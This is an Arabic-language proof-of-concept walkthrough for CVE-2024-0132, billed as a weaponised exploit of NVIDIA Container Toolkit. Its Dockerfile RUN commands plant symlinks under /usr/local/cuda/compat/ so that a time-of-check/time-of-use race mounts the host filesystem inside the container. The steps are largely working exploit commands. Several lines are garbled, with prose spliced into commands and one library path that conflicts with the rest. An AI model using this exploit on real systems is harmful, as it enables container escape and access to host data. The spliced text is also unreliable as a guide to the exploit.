
CVE-2024-0132 – استغلال مُسلَّح بالكامل لـ NVIDIA Container Toolkit
CVE-2024-0132 PoC
لنبدأ باختيار صورة أساسية. يعتمد ترتيب المكتبات في النظام على نوع الصورة الأساسية المستخدمة. على سبيل المثال، بالنسبة لـ alpine سيكون المسار /usr/lib64/، وبالنسبة لـ ubuntu سيكون /usr/lib/x86_64-linux-gnu. سنستخدم ubuntu كصورة أساسية.
FROM ubuntu
تتحقق حزمة أدوات nvidia containter toolkit من المكتبات الموجودة في /usr/local/cuda/compat/ داخل الحاوية ثم تقوم بتركيبها في دليل المكتبات الرئيسي، وبالنسبة لهذه الصورة (ubuntu) سيكون هذا الدليل /usr/lib/x86_64-linux-gnu.
الروابط (Links) تُركَّب أيضًا، لذا يمكنك تركيب أي ملف ودليل من الصورة إلى /usr/lib/x86_64-linux-gnu. يتم التحقق من أن الرابط يُحل داخل الحاوية، ولا يمكنه استخدام عدة ../ لتجاوز المسار (path traversal). ومع ذلك، يمكن التحايل على ذلك باستخدام التركيب داخل الحاوية عبر /usr/local/cuda/compat/ مرتين، ومن هنا جاء اسم TOCTOU.
اقرأ المزيد عن آلية التركيب من /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
أنشئ دليلين:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
تم اختيار الاسم libdxcore.so لتلبية عوامل التصفية (filters). يجب أن يختلف الإصدار الرئيسي (1337) عن إصدار برنامج التشغيل الفعلي.
أنشئ رابطين في /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ بمحتويات /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs إلى /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. أثناء الفحص سيكون ملفًا عاديًا، لكن في لحظة التركيب سيكون رابطًا كان موجودًا في /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs، وبالتالي سيتم تركيب نظام ملفات المضيف في /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2